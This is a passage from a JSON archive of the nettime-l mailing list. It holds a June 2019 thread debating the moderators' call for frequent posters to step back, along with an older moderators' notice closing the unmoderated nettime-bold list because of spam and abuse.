<wcerfgba@riseup.net> wrote: \n> > Just adding my two cents, as per the call. :)\n> > \n> > I only discovered nettime in the last few months. I'm a computer-child, I've grown up on the net, and one of the people who now take a more conservative or critical approach to tech. I came here because I am trying to develop as an artist, working with the net as a medium and reflecting critically on the net and its constituent parts. I don't post in to every thread because a lot of the time I don't have anything worthwhile to add, but I appreciate reading: most of the contributions on this list are really insightful.\n> > \n> > The fact that people are posting meta threads like this is a good sign to me, I appreciate a community that can take a critical view of itself. If nettime does rap up, let me know where you all go, I'd like to talk more. :)\n> > \n> > John\n> > \n> > On 7 June 2019 18:38:46 BST, nettime mod squad <nettime@kein.org> wrote: \n> > \n> > Nettime is in bad shape, don't you think?\n> > \n> > It has still a lot of goodwill, and more generally there's renewed\n> > interest in formats of exchange and collective thinking that\n> > aren't defined by the logic of social media. But the dynamics that\n> > social media companies exploit are hardly limited to a handful of\n> > platforms. For example, nettime has its own 'influencers' -- a 1%,\n> > so to speak -- who generate the vast majority of list traffic.\n> > That's been true for years. The discussions they sustain may\n> > variously seem interesting or annoying, but either way they've\n> > become somewhat formulaic. An attentive reader knows more or less\n> > what to expect based solely the subject and the sender; and even\n> > meta-discussions about whether the list is dominated or by this or\n> > that tendency are largely dominated by the same few people.\n> > \n> > Some might argue the debates that have animated nettime over the\n> > last year -- the trajectories of postwar society, neoliberalism,\n> > the 'digital,' complexity, surveillance and big tech, Brexit,\n> > media and elections, Assange, even the Anthropocene in all its\n> > terrifying inclusiveness -- are the defining issues of the day.\n> > Maybe so. But if the nettime project had settled for a consensus\n> > model of the defining issues of the mid-'90s, it would never have\n> > gotten off the ground, and it certainly wouldn't exist almost 25\n> > years later. The challenge, we think, is to maintain a space that\n> > attracts ill-defined ideas and uncertain issues -- things and\n> > not-things that don't quite exist yet and yet haven't been buried\n> > under torrents of authority and theory.\n> > \n> > So, what can we do?\n> > \n> > In the past, we've asked people to think about outreach -- say,\n> > inviting new people from new contexts. It seems like that's had\n> > limited success; but at a time when nettime has been limping\n> > along, it's hard to get excited about inviting people to join an\n> > environment so heavily defined by habit. We've also joked that\n> > shutting it down before it fades into complete senescence might be\n> > best. But that joke wasn't really funny, in part because it wasn't\n> > meant to be: it was a way of expressing serious concerns about the\n> > list's increasingly parochial status.\n> > \n> > Now, we have a simple proposal: let's switch roles.\n> > \n> > It goes like this:\n> > \n> > If you've posted more than others to the list in the last 60 or 90\n> > or 120 or 180 days -- the math matters less than the spirit -- take\n> > a break. Let others define nettime, a space made up of nearly 5000\n> > subscribers.\n> > \n> > If you haven't posted to the list -- say, because it seemed like\n> > your ideas, concerns, or whatever you want to share wouldn't fit\n> > with nettime's habits -- maybe that will change.\n> > \n> > Think of it as an un-grand experiment: a way to see what else\n> > might happen, who else might speak, what less familiar ideas,\n> > perspectives, or styles might spring up. Maybe the list will fade\n> > into silence, and we'll be left with a paradoxical object, a list\n> > composed *entirely* of lurkers -- not such a bad non-end for\n> > nettime. Or maybe not. There might be many ways to find out. For\n> > now, rather than the 1% debating how narrowly to define good\n> > manners, let's see if a different 'we' can change things.\n> > \n> > -- the mod squad (Ted and Felix)\n> > \n> > #  distributed via <nettime>: no commercial use without permission\n> > #  <nettime>  is a moderated mailing list for net criticism,\n> > #  collaborative text filtering and cultural politics of the nets\n> > #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> > #  archive: http://www.nettime.org contact: nettime@kein.org\n> > #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> > #  distributed via <nettime>: no commercial use without permission\n> > #  <nettime>  is a moderated mailing list for net criticism,\n> > #  collaborative text filtering and cultural politics of the nets\n> > #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> > #  archive: http://www.nettime.org contact: nettime@kein.org\n> > #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> \n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> #  archive: http://www.nettime.org contact: nettime@kein.org\n> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> \n> \n> ------------------------------\n> \n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> \n> End of nettime-l Digest, Vol 141, Issue 11\n> ******************************************\n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> #  archive: http://www.nettime.org contact: nettime@kein.org\n> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00052",
                        "date": "Wed, 12 Jun 2019 15:15:41 -0700",
                        "to": "nettime-l@mail.kein.org",
                        "message-id": "6D0EE2EE&#45;3A95&#45;430A&#45;8FB0&#45;4F6A1F78CB32@me.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00052.html",
                        "content-type": "text/plai",
                        "author_name": "Jordan Crandall",
                        "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit."
                    },
                    {
                        "follow-up": [
                            {
                                "from": "\"Andr\u00e9 Rebentisch\" <tabesin@gmail.com>",
                                "content": "Most formerly valuable mailing lists are dead, Carlo.\n\nHere you find a recent quote from Joichi Ito:\n\n\u201cYou know that little girl in The Exorcist? That\u2019s what the internet\nfeels like to me,\u201d Ito said. \u201cYou have this little girl and you think\nshe\u2019s going to become this wonderful kid and then she gets possessed and\nstarts becoming this demon. And we have to exorcize her and we have to\nkind of bring her back.\u201d\n\nSource:\nhttps://www.vox.com/recode/2019/6/26/18758776/joi-ito-mit-media-lab-resisting-reduction-exorcist-kara-swisher-recode-decode-podcast-interview\n\n\n\nAndr\u00e9 Rebentisch\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                "id": "00119",
                                "date": "Sun, 30 Jun 2019 16:23:20 +0200",
                                "to": "nettime-l@mail.kein.org",
                                "message-id": "ba9e512f&#45;1aa2&#45;9ba3&#45;dc8c&#45;1350de322551@opentechsummit.net",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00119.html",
                                "content-type": "text/plai",
                                "author_name": "Andr\u00e9 Rebentisch",
                                "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit."
                            },
                            {
                                "from": "Molly Hankwitz <mollyhankwitz@gmail.com>",
                                "content": "Forwarded on behalf of Nina---------- Forwarded message ---------From: \"Nina Tempor\u00e4r\" <nina-temp@gmx.de>Date: Sun, Jun 30, 2019 at 3:59 AMSubject: Aw: Re: <nettime> Nettime is in bad shape. Let's see if we can change it.To: Molly Hankwitz <mollyhankwitz@gmail.com>Hi Molly, \n\nThanks, I have a similar perspective ,\n\n but wasnt allowed to post it on nettime - unfortunately it seems that disallowing Andreas to disseminate Standard sexist phrases like I Would probably have no other topics than sexism, has put me on a watch list. \n\nSo, even if we have different opinions about JA, Would you mind forwarding this? (see below, only that Part. ) Thanks! \n\nI am esepecially concerned about this new regulation ruling out the big names, as Ted and Felix explicitly came\n\n up with it after I asked them for help in relation to the onlist sexism and racism and\n\n offlist Harrassment by JA disciples (no big names) I was exposed to after critisizing JA. But the current development is nothing I Would have endorsed - it doesnt heal the racism of a Morlock Elloi, it only leads to the big names writing privately somewhere Else, which is a pity. I mean, the amount of New people writing here is great, but I dont see why both couldnt coexist. \n\nBest N\n\n\nMy mail that didnt get through:\n\n\n\n\nI wasn't in favor of the priniciple of disallowing \nthe people who usually write here to continue with the same frequency. They probably now simply discuss in private, elsewhere.\n\nBut I think it's great that so many \"new\" people are writing here.\n\nSaying nettime would have lost its quality is an insult right into the face of these people. And not even true. And sometimes phrasing new perceptions needs a while - and is a courageous endeavour -\nwhereas following beaten paths of the discursive findings of pa\u00dft decades might gleam with terminological perfection, but reveal at best only extra layers of outdated truths.\nEspecially in the field of tech/media one should always be aware of this - even more so, as not only the technology we are using is rapidly changing, but also the brains of new generations suceeding\nas recipients of these.\n\nThat said, I always did like the discourse the nettime Community was known for, and I'd regard it as a loss if it was impossible for both to co-exist here. But trying to artificially presevere only that one approach here feels like calling for it to become an exhibit in the museum of natural history, with its own display, boxed in under glass, and with its protagontists guaranteed a part in the next sequel of \"Night at the Museum\"... (although that'd be kinda cute).\n\nN\n\nGesendet: Samstag, 29. Juni 2019 um 16:11 Uhr\nVon: \"carlo von lynX\" <lynX@time.to.get.psyced.org>\nAn: nettime-l@kein.org\nBetreff: Re: <nettime> Nettime is in bad shape. Let's see if we can change it.\nI'll keep it short as I've said it before some years ago\u2026\nI think the pro-active moderation was the whole specialty\nof nettime, fostering high quality and inclusiveness. Since\nyou dropped that (possibly because it was too much work, so\nI'm not blaming) the list slowly lost its focus just as all\nthe sociologic research I look into predicted\u2026 maybe Pit\ncan give it the original pitch back? Hugs from NK, C.\n\n# distributed via <nettime>: no commercial use without permission\n# <nettime> is a moderated mailing list for net criticism,\n# collaborative text filtering and cultural politics of the nets\n# more info: http://mx.kein.org/mailman/listinfo/nettime-l\n# archive: http://www.nettime.org contact: nettime@kein.org\n# @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n> Gesendet: Samstag, 29. Juni 2019 um 22:23 Uhr\n> Von: \"Molly Hankwitz\" <mollyhankwitz@gmail.com>\n> An: \"carlo von lynX\" <lynX@time.to.get.psyced.org>\n> Cc: nettime-l@kein.org\n> Betreff: Re: <nettime> Nettime is in bad shape. Let's see if we can change it.\n>\n> Carlo and nettime!\n> \n> Thank you for this, Carlo. I could not agree more, the deliberate effort of\n> mods to put material that is provocative and worthy on the list...BUT, it\n> may also be, and this is where mods could also help...that the great net\n> debates have disappeared or died out. There are new debates, but who is\n> framing them relative to networks.\n> \n> The question comes up more and more - where is the whole idea of networks\n> that was once? Answer: sorry, social media has everyone blissed out on\n> their own screen.\n> \n> The great debates that enlivened networks of the 90s, have become muddled\n> to the point that \"networks\" per se don't seem to carry much weight online\n> - now its the app, its the website - which don't always reflect a living\n> community of net-users as we know...or maybe we are imagining networks\n> differently than before and that does not help. Common interests which\n> drove the formulation of networks and network 'flows' seem to have been\n> replaced by something else. Who is the we of any network now...\n> \n> I don't know...that was my feeling when I read this. So, yes, we need the\n> heavies, maybe...to frame the debates so we can bat our own balls back and\n> forth and to and fro on nettime.\n> \n> Molly\n> \n> On Sat, Jun 29, 2019 at 7:12 AM carlo von lynX <lynX@time.to.get.psyced.org>\n> wrote:\n> \n> > I'll keep it short as I've said it before some years ago\u2026\n> > I think the pro-active moderation was the whole specialty\n> > of nettime, fostering high quality and inclusiveness. Since\n> > you dropped that (possibly because it was too much work, so\n> > I'm not blaming) the list slowly lost its focus just as all\n> > the sociologic research I look into predicted\u2026 maybe Pit\n> > can give it the original pitch back? Hugs from NK, C.\n> >\n> > #\n\n distributed via <nettime>: no commercial use without permission\n> > #\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n> > #\n\n collaborative text filtering and cultural politics of the nets\n> > #\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> > #\n\n archive: http://www.nettime.org contact: nettime@kein.org\n> > #\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> #\n\n distributed via <nettime>: no commercial use without permission\n> #\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n> #\n\n collaborative text filtering and cultural politics of the nets\n> #\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> #\n\n archive: http://www.nettime.org contact: nettime@kein.org\n> #\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                "id": "00120",
                                "date": "Sun, 30 Jun 2019 08:40:34 -0700",
                                "to": "\"nettime-l@kein.org\" <nettime-l@kein.org>",
                                "message-id": "CAH5TXpxR+y_8JsSvkke7rNAmjmmVLu6SN6ytcpk4B&#45;XRE&#45;0iPw@mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00120.html",
                                "content-type": "multipart/mixed",
                                "author_name": "Molly Hankwitz",
                                "subject": "<nettime> Fwd: Re: Nettime is in bad shape. Let's see if we can change it."
                            },
                            {
                                "from": "John Preston <wcerfgba@riseup.net>",
                                "content": "Thanks Nina, Molly, Andr\u00e9, David, Allan, and everyone else for all your\ninsight on this thread. \n\nI'd like to chime in with a quote from our own slice of web [1]: \n\n<nettime> is not just a mailing list but an effort to formulate an\ninternational, networked discourse that neither promotes a dominant\neuphoria (to sell products) nor continues the cynical pessimism, spread\nby journalists and intellectuals in the 'old' media who generalize about\n'new' media with no clear understanding of their communication aspects.\nwe have produced, and will continue to produce books, readers, and web\nsites in various languages so an 'immanent' net critique will circulate\nboth on- and offline. \n\nThe internet, as is the want of any globalised socio-technical system,\nhas de-localised what started off as a small group of people operating\nin a particular time and place: there are no borders on the Internet.\n\nPerhaps we do not need to state a purpose for the list, its character is\ndetermined by its history and content, which I suppose is why these meta\ndiscussions can be (a sign of) destabilising in an waning community.\nCertainly it is useful to extract common themes. I like 'netcriticism'\nas a focus, as it ties in very much with my developing perspective.\n\nIn netcrit terms I no longer consider 'the net' to be the Internet, or\neven just our increasingly complex relationships with machines, but\nrather an all-encompassing socio-technical system, composed of people,\ncomputers, materials, machines, and various relations and transactions\nbetween them -- similar to Hakim Bey's conception but I try to think of\nit a model of the economic and power relations in the physical world,\nrather than as just an abstract space of information which might map on\nto the world somehow.\n\nIn that respect I see the list as covering quite a wide area of\ndiscourse, but with a focus on our contemporary setting, and hopefully\nwith a pragmatic slant too. I believe we (civilization) are nearing both\necological and social tipping points, and we need to take action to\ndiscover and fix the parts of this sociotechnical system which are\ncausing harm to the planet and our local communities.\n\n\u270c\ufe0f\n\n[1] https://www.nettime.org/info.html\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                "id": "00121",
                                "date": "Sun, 30 Jun 2019 12:54:11 -0700",
                                "to": "nettime-l@mail.kein.org",
                                "message-id": "253630d6a8c21ec056ebc2b592e4b46a@riseup.net",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00121.html",
                                "content-type": "text/plai",
                                "author_name": "John Preston",
                                "subject": "Re: <nettime> Fwd: Re: Nettime is in bad shape. Let's see if we can change it."
                            }
                        ],
                        "from": "Molly Hankwitz <mollyhankwitz@gmail.com>",
                        "content": "Carlo and nettime!Thank you for this, Carlo. I could not agree more, the deliberate effort of mods to put material that is provocative and worthy on the list...BUT, it may also be, and this is where mods could also help...that the great net debates have disappeared or died out. There are new debates, but who is framing them relative to networks.\n\nThe question comes up more and more - where is the whole idea of networks that was once? Answer: sorry, social media has everyone blissed out on their own screen.\n\nThe great debates that enlivened networks of the 90s, have become muddled to the point that \"networks\" per se don't seem to carry much weight online - now its the app, its the website - which don't always reflect a living community of net-users as we know...or maybe we are imagining networks differently than before and that does not help. Common interests which drove the formulation of networks and network 'flows' seem to have been replaced by something else. Who is the we of any network now...I don't know...that was my feeling when I read this. So, yes, we need the heavies, maybe...to frame the debates so we can bat our own balls back and forth and to and fro on nettime.Molly\n\nOn Sat, Jun 29, 2019 at 7:12 AM carlo von lynX <lynX@time.to.get.psyced.org> wrote:I'll keep it short as I've said it before some years ago\u2026\nI think the pro-active moderation was the whole specialty\nof nettime, fostering high quality and inclusiveness. Since\nyou dropped that (possibly because it was too much work, so\nI'm not blaming) the list slowly lost its focus just as all\nthe sociologic research I look into predicted\u2026 maybe Pit\ncan give it the original pitch back? Hugs from NK, C.\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00115",
                        "date": "Sat, 29 Jun 2019 13:23:18 -0700",
                        "to": "carlo von lynX <lynX@time.to.get.psyced.org>",
                        "message-id": "CAH5TXpxzAE4hHLvdz1TQY1fDYwqMmPG7AOaeg_3PO4HZyBg3yQ@mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00115.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Molly Hankwitz",
                        "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit."
                    },
                    {
                        "from": "\"Andr\u00e9 Rebentisch\" <tabesin@gmail.com>",
                        "content": "Most formerly valuable mailing lists are dead, Carlo.\n\nHere you find a recent quote from Joichi Ito:\n\n\u201cYou know that little girl in The Exorcist? That\u2019s what the internet\nfeels like to me,\u201d Ito said. \u201cYou have this little girl and you think\nshe\u2019s going to become this wonderful kid and then she gets possessed and\nstarts becoming this demon. And we have to exorcize her and we have to\nkind of bring her back.\u201d\n\nSource:\nhttps://www.vox.com/recode/2019/6/26/18758776/joi-ito-mit-media-lab-resisting-reduction-exorcist-kara-swisher-recode-decode-podcast-interview\n\n\n\nAndr\u00e9 Rebentisch\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00119",
                        "date": "Sun, 30 Jun 2019 16:23:20 +0200",
                        "to": "nettime-l@mail.kein.org",
                        "message-id": "ba9e512f&#45;1aa2&#45;9ba3&#45;dc8c&#45;1350de322551@opentechsummit.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00119.html",
                        "content-type": "text/plai",
                        "author_name": "Andr\u00e9 Rebentisch",
                        "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit."
                    },
                    {
                        "from": "Molly Hankwitz <mollyhankwitz@gmail.com>",
                        "content": "Forwarded on behalf of Nina---------- Forwarded message ---------From: \"Nina Tempor\u00e4r\" <nina-temp@gmx.de>Date: Sun, Jun 30, 2019 at 3:59 AMSubject: Aw: Re: <nettime> Nettime is in bad shape. Let's see if we can change it.To: Molly Hankwitz <mollyhankwitz@gmail.com>Hi Molly, \n\nThanks, I have a similar perspective ,\n\n but wasnt allowed to post it on nettime - unfortunately it seems that disallowing Andreas to disseminate Standard sexist phrases like I Would probably have no other topics than sexism, has put me on a watch list. \n\nSo, even if we have different opinions about JA, Would you mind forwarding this? (see below, only that Part. ) Thanks! \n\nI am esepecially concerned about this new regulation ruling out the big names, as Ted and Felix explicitly came\n\n up with it after I asked them for help in relation to the onlist sexism and racism and\n\n offlist Harrassment by JA disciples (no big names) I was exposed to after critisizing JA. But the current development is nothing I Would have endorsed - it doesnt heal the racism of a Morlock Elloi, it only leads to the big names writing privately somewhere Else, which is a pity. I mean, the amount of New people writing here is great, but I dont see why both couldnt coexist. \n\nBest N\n\n\nMy mail that didnt get through:\n\n\n\n\nI wasn't in favor of the priniciple of disallowing \nthe people who usually write here to continue with the same frequency. They probably now simply discuss in private, elsewhere.\n\nBut I think it's great that so many \"new\" people are writing here.\n\nSaying nettime would have lost its quality is an insult right into the face of these people. And not even true. And sometimes phrasing new perceptions needs a while - and is a courageous endeavour -\nwhereas following beaten paths of the discursive findings of pa\u00dft decades might gleam with terminological perfection, but reveal at best only extra layers of outdated truths.\nEspecially in the field of tech/media one should always be aware of this - even more so, as not only the technology we are using is rapidly changing, but also the brains of new generations suceeding\nas recipients of these.\n\nThat said, I always did like the discourse the nettime Community was known for, and I'd regard it as a loss if it was impossible for both to co-exist here. But trying to artificially presevere only that one approach here feels like calling for it to become an exhibit in the museum of natural history, with its own display, boxed in under glass, and with its protagontists guaranteed a part in the next sequel of \"Night at the Museum\"... (although that'd be kinda cute).\n\nN\n\nGesendet: Samstag, 29. Juni 2019 um 16:11 Uhr\nVon: \"carlo von lynX\" <lynX@time.to.get.psyced.org>\nAn: nettime-l@kein.org\nBetreff: Re: <nettime> Nettime is in bad shape. Let's see if we can change it.\nI'll keep it short as I've said it before some years ago\u2026\nI think the pro-active moderation was the whole specialty\nof nettime, fostering high quality and inclusiveness. Since\nyou dropped that (possibly because it was too much work, so\nI'm not blaming) the list slowly lost its focus just as all\nthe sociologic research I look into predicted\u2026 maybe Pit\ncan give it the original pitch back? Hugs from NK, C.\n\n# distributed via <nettime>: no commercial use without permission\n# <nettime> is a moderated mailing list for net criticism,\n# collaborative text filtering and cultural politics of the nets\n# more info: http://mx.kein.org/mailman/listinfo/nettime-l\n# archive: http://www.nettime.org contact: nettime@kein.org\n# @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n> Gesendet: Samstag, 29. Juni 2019 um 22:23 Uhr\n> Von: \"Molly Hankwitz\" <mollyhankwitz@gmail.com>\n> An: \"carlo von lynX\" <lynX@time.to.get.psyced.org>\n> Cc: nettime-l@kein.org\n> Betreff: Re: <nettime> Nettime is in bad shape. Let's see if we can change it.\n>\n> Carlo and nettime!\n> \n> Thank you for this, Carlo. I could not agree more, the deliberate effort of\n> mods to put material that is provocative and worthy on the list...BUT, it\n> may also be, and this is where mods could also help...that the great net\n> debates have disappeared or died out. There are new debates, but who is\n> framing them relative to networks.\n> \n> The question comes up more and more - where is the whole idea of networks\n> that was once? Answer: sorry, social media has everyone blissed out on\n> their own screen.\n> \n> The great debates that enlivened networks of the 90s, have become muddled\n> to the point that \"networks\" per se don't seem to carry much weight online\n> - now its the app, its the website - which don't always reflect a living\n> community of net-users as we know...or maybe we are imagining networks\n> differently than before and that does not help. Common interests which\n> drove the formulation of networks and network 'flows' seem to have been\n> replaced by something else. Who is the we of any network now...\n> \n> I don't know...that was my feeling when I read this. So, yes, we need the\n> heavies, maybe...to frame the debates so we can bat our own balls back and\n> forth and to and fro on nettime.\n> \n> Molly\n> \n> On Sat, Jun 29, 2019 at 7:12 AM carlo von lynX <lynX@time.to.get.psyced.org>\n> wrote:\n> \n> > I'll keep it short as I've said it before some years ago\u2026\n> > I think the pro-active moderation was the whole specialty\n> > of nettime, fostering high quality and inclusiveness. Since\n> > you dropped that (possibly because it was too much work, so\n> > I'm not blaming) the list slowly lost its focus just as all\n> > the sociologic research I look into predicted\u2026 maybe Pit\n> > can give it the original pitch back? Hugs from NK, C.\n> >\n> > #\n\n distributed via <nettime>: no commercial use without permission\n> > #\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n> > #\n\n collaborative text filtering and cultural politics of the nets\n> > #\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> > #\n\n archive: http://www.nettime.org contact: nettime@kein.org\n> > #\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> #\n\n distributed via <nettime>: no commercial use without permission\n> #\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n> #\n\n collaborative text filtering and cultural politics of the nets\n> #\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> #\n\n archive: http://www.nettime.org contact: nettime@kein.org\n> #\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00120",
                        "date": "Sun, 30 Jun 2019 08:40:34 -0700",
                        "to": "\"nettime-l@kein.org\" <nettime-l@kein.org>",
                        "message-id": "CAH5TXpxR+y_8JsSvkke7rNAmjmmVLu6SN6ytcpk4B&#45;XRE&#45;0iPw@mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00120.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Molly Hankwitz",
                        "subject": "<nettime> Fwd: Re: Nettime is in bad shape. Let's see if we can change it."
                    },
                    {
                        "from": "John Preston <wcerfgba@riseup.net>",
                        "content": "Thanks Nina, Molly, Andr\u00e9, David, Allan, and everyone else for all your\ninsight on this thread. \n\nI'd like to chime in with a quote from our own slice of web [1]: \n\n<nettime> is not just a mailing list but an effort to formulate an\ninternational, networked discourse that neither promotes a dominant\neuphoria (to sell products) nor continues the cynical pessimism, spread\nby journalists and intellectuals in the 'old' media who generalize about\n'new' media with no clear understanding of their communication aspects.\nwe have produced, and will continue to produce books, readers, and web\nsites in various languages so an 'immanent' net critique will circulate\nboth on- and offline. \n\nThe internet, as is the want of any globalised socio-technical system,\nhas de-localised what started off as a small group of people operating\nin a particular time and place: there are no borders on the Internet.\n\nPerhaps we do not need to state a purpose for the list, its character is\ndetermined by its history and content, which I suppose is why these meta\ndiscussions can be (a sign of) destabilising in an waning community.\nCertainly it is useful to extract common themes. I like 'netcriticism'\nas a focus, as it ties in very much with my developing perspective.\n\nIn netcrit terms I no longer consider 'the net' to be the Internet, or\neven just our increasingly complex relationships with machines, but\nrather an all-encompassing socio-technical system, composed of people,\ncomputers, materials, machines, and various relations and transactions\nbetween them -- similar to Hakim Bey's conception but I try to think of\nit a model of the economic and power relations in the physical world,\nrather than as just an abstract space of information which might map on\nto the world somehow.\n\nIn that respect I see the list as covering quite a wide area of\ndiscourse, but with a focus on our contemporary setting, and hopefully\nwith a pragmatic slant too. I believe we (civilization) are nearing both\necological and social tipping points, and we need to take action to\ndiscover and fix the parts of this sociotechnical system which are\ncausing harm to the planet and our local communities.\n\n\u270c\ufe0f\n\n[1] https://www.nettime.org/info.html\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00121",
                        "date": "Sun, 30 Jun 2019 12:54:11 -0700",
                        "to": "nettime-l@mail.kein.org",
                        "message-id": "253630d6a8c21ec056ebc2b592e4b46a@riseup.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00121.html",
                        "content-type": "text/plai",
                        "author_name": "John Preston",
                        "subject": "Re: <nettime> Fwd: Re: Nettime is in bad shape. Let's see if we can change it."
                    }
                ],
                "message-id": "0eb404687c0dc5c7b89ad23ce27dfb1b@NO&#45;ID&#45;FOUND.mhonarc.or",
                "date": "Fri, 7 Jun 2019 16:38:46 -0100",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "the nettime mod squad <nettime {AT} bbs.thing.net>",
                "id": "00075",
                "content": "\nDear Nettimers,\n\nWe are closing nettime-bold. Some weeks ago, we stopped archiving it\nbecause the archives kept breaking.[1] Now, because the cost of running\nthe list is high in terms of load on the nettime.org server and the\nbenefits are low in terms of creative or 'open' uses of nettime-bold, we\nare closing the list for good.\n\nAs an experiment, Nettime-bold was a failure, but a revealing one. First,\nthere was very little interest in it. At its best, nettime-bold had about\n130 subscribers, which, at the time, was 5% the subscribers nettime-l had.\nOriginally, when the decision to launch nettime-bold was made (Feb. 2000)\nwe intended as a way to make the moderation process more transparent.\nSince there was some discontent with the moderation, we thought that\nalternative moderations might spring up, using the same base feed as\nnettime-l. It didn't happen.\n\nSecond, and more importantly, it seems like it's impossible to run a\ncompletely open channel, even if you don't care about the quality of the\ncontent. The Internet, as an evironment, has become so 'hostile' that\n'undifferentiated' openness is not a practical option anymore. This\nhappens both internally, in the sense of people who know the list abusing\nit deliberately (to make an artistic or political point), as well as\nexternally, where the list becomes just one in a million anonymous\naddresses, available for $19.99 to any spammer.\n\nThis is not surprising. Flame wars, list flooding and spam are we\nwell-known problems. But it raises the question how to maintain openness\nin an environment you cannot assume even the most basic assumptions to be\nshared.\n\nThis is not to say that it's impossible to keep a communication channel\nopen (slashdot, wikipedia and, we guess, nettime-l are working examples)\nbut it means that there is a needs to upgrade both the technical platforms\nand thinking about what 'openness' means.\n\nOne thing this no longer means is an unmoderated nettime channel. RIP,\nnettime-bold.\n\n[the nettime mods]\n\n[1] http://amsterdam.nettime.org/Lists-Archives/nettime-l-0303/msg00049.html\n\n\n\n\n\n#  distributed via <nettime>: no commercial use 